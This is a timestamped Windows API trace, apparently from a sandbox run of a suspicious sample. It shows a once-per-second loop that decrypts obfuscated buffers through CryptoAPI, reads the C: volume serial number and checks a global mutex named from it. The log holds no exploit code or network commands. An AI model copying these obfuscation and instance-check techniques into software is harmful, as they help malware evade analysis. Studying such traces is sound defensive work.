	[0050.487] CryptDecrypt (in: hKey=0xb99468, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fdd4 | out: pbData=0x27211c0, pdwDataLen=0x288fdd4) returned 1
	[0050.487] CryptDestroyKey (hKey=0xb99468) returned 1
	[0050.487] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0050.487] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0
	[0050.487] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x220
	[0050.487] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x0
	[0050.487] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0050.487] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0050.487] ReleaseMutex (hMutex=0x220) returned 1
	[0050.487] CloseHandle (hObject=0x220) returned 1
	[0050.487] Sleep (dwMilliseconds=0x3e8) 
	[0051.776] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0051.776] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb98da8) returned 1
	[0051.776] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0051.776] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fda0 | out: pbData=0x27211c0, pdwDataLen=0x288fda0) returned 1
	[0051.776] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0051.776] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0051.776] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0051.776] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0051.776] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb994a8) returned 1
	[0051.776] CryptSetKeyParam (hKey=0xb994a8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0051.776] CryptDecrypt (in: hKey=0xb994a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0x288fd78 | out: pbData=0x2721238, pdwDataLen=0x288fd78) returned 1
	[0051.776] CryptDestroyKey (hKey=0xb994a8) returned 1
	[0051.776] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0051.776] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0051.777] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0051.777] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0051.777] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0051.777] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0051.777] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0051.777] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb99368) returned 1
	[0051.777] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0051.777] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fdd4 | out: pbData=0x27211c0, pdwDataLen=0x288fdd4) returned 1
	[0051.777] CryptDestroyKey (hKey=0xb99368) returned 1
	[0051.777] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0051.777] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220
	[0051.777] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102
	[0051.777] CloseHandle (hObject=0x220) returned 1
	[0051.777] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0051.777] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0051.777] Sleep (dwMilliseconds=0x3e8) 
	[0053.036] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0053.037] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb98da8) returned 1
	[0053.037] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0053.037] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fda0 | out: pbData=0x27211c0, pdwDataLen=0x288fda0) returned 1
	[0053.037] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0053.037] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0053.037] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0053.037] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0053.037] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb993a8) returned 1
	[0053.037] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0053.037] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0x288fd78 | out: pbData=0x2721238, pdwDataLen=0x288fd78) returned 1
	[0053.037] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0053.037] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0053.037] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0053.037] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0053.037] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0053.037] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0053.037] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0053.037] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0053.037] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb99368) returned 1
	[0053.037] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0053.038] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fdd4 | out: pbData=0x27211c0, pdwDataLen=0x288fdd4) returned 1
	[0053.038] CryptDestroyKey (hKey=0xb99368) returned 1
	[0053.038] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0053.038] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220
	[0053.038] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102
	[0053.038] CloseHandle (hObject=0x220) returned 1
	[0053.038] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0053.038] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0053.038] Sleep (dwMilliseconds=0x3e8) 
	[0054.269] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0054.269] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb99368) returned 1
	[0054.269] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0054.269] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fda0 | out: pbData=0x27211c0, pdwDataLen=0x288fda0) returned 1
	[0054.269] CryptDestroyKey (hKey=0xb99368) returned 1
	[0054.270] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0054.270] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0054.270] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0054.270] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb99368) returned 1
	[0054.270] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0054.270] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0x288fd78 | out: pbData=0x2721238, pdwDataLen=0x288fd78) returned 1
	[0054.270] CryptDestroyKey (hKey=0xb99368) returned 1
	[0054.270] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0054.270] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0054.270] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0054.270] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0054.270] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0054.270] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0054.270] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0054.270] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb99368) returned 1
	[0054.270] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0054.270] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fdd4 | out: pbData=0x27211c0, pdwDataLen=0x288fdd4) returned 1
	[0054.270] CryptDestroyKey (hKey=0xb99368) returned 1
	[0054.270] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0054.270] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220
	[0054.270] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102
	[0054.270] CloseHandle (hObject=0x220) returned 1
	[0054.270] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0054.270] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0054.270] Sleep (dwMilliseconds=0x3e8) 
	[0055.298] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0055.298] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb98e68) returned 1
	[0055.298] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0055.298] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fda0 | out: pbData=0x27211c0, pdwDataLen=0x288fda0) returned 1
	[0055.298] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0055.298] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0055.298] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0055.298] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0055.298] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb99368) returned 1
	[0055.298] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0055.298] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0x288fd78 | out: pbData=0x2721238, pdwDataLen=0x288fd78) returned 1
	[0055.298] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.298] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0055.298] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0055.298] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0055.298] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0055.298] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0055.298] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0055.299] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0055.299] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb99368) returned 1
	[0055.299] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0055.299] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fdd4 | out: pbData=0x27211c0, pdwDataLen=0x288fdd4) returned 1
	[0055.299] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.299] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0055.299] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220
	[0055.299] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102
	[0055.299] CloseHandle (hObject=0x220) returned 1
	[0055.299] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0055.299] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0055.299] Sleep (dwMilliseconds=0x3e8) 
	[0056.437] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721228
	[0056.437] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb98da8) returned 1
	[0056.437] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0056.437] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x288fda0 | out: pbData=0x2721228, pdwDataLen=0x288fda0) returned 1
	[0056.437] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0056.437] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2721250
	[0056.437] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721468
	[0056.437] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721490
	[0056.437] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb99368) returned 1
	[0056.437] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0056.438] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721490, pdwDataLen=0x288fd78 | out: pbData=0x2721490, pdwDataLen=0x288fd78) returned 1
	[0056.438] CryptDestroyKey (hKey=0xb99368) returned 1
	[0056.438] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721490 | out: hHeap=0x2720000) returned 1
	[0056.438] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2721250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0056.438] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0056.438] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0056.438] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0056.449] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721250 | out: hHeap=0x2720000) returned 1
	[0056.449] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2721228
	[0056.449] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb98da8) returned 1
	[0056.485] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0056.486] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x288fdd4 | out: pbData=0x2721228, pdwDataLen=0x288fdd4) returned 1
	[0056.486] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0056.486] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721468
	[0056.486] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0056.486] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0056.486] CloseHandle (hObject=0x2c0) returned 1
	[0056.486] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0056.486] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0056.486] Sleep (dwMilliseconds=0x3e8) 
	[0058.002] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721228
	[0058.002] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb99368) returned 1
	[0058.002] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0058.002] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x288fda0 | out: pbData=0x2721228, pdwDataLen=0x288fda0) returned 1
	[0058.002] CryptDestroyKey (hKey=0xb99368) returned 1
	[0058.003] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2721250
	[0058.003] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721468
	[0058.003] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721490
	[0058.003] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb99368) returned 1
	[0058.003] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0058.003] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721490, pdwDataLen=0x288fd78 | out: pbData=0x2721490, pdwDataLen=0x288fd78) returned 1
	[0058.003] CryptDestroyKey (hKey=0xb99368) returned 1
	[0058.003] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721490 | out: hHeap=0x2720000) returned 1
	[0058.003] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2721250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0058.003] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0058.003] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0058.003] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0058.003] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721250 | out: hHeap=0x2720000) returned 1
	[0058.003] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2721228
	[0058.003] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb98e68) returned 1
	[0058.003] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0058.004] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x288fdd4 | out: pbData=0x2721228, pdwDataLen=0x288fdd4) returned 1
	[0058.004] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0058.004] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721468
	[0058.004] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x298
	[0058.004] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102
	[0058.004] CloseHandle (hObject=0x298) returned 1
	[0058.004] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0058.004] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0058.004] Sleep (dwMilliseconds=0x3e8) 
	[0059.855] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721228
	[0059.855] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb99368) returned 1
	[0059.855] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0059.855] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x288fda0 | out: pbData=0x2721228, pdwDataLen=0x288fda0) returned 1
	[0059.855] CryptDestroyKey (hKey=0xb99368) returned 1
	[0059.856] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2721250
	[0059.856] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721468
	[0059.856] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721490
	[0059.856] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb98e68) returned 1
	[0059.856] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0059.856] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721490, pdwDataLen=0x288fd78 | out: pbData=0x2721490, pdwDataLen=0x288fd78) returned 1
	[0059.856] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0059.856] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721490 | out: hHeap=0x2720000) returned 1
	[0059.856] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2721250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0059.856] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0059.856] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
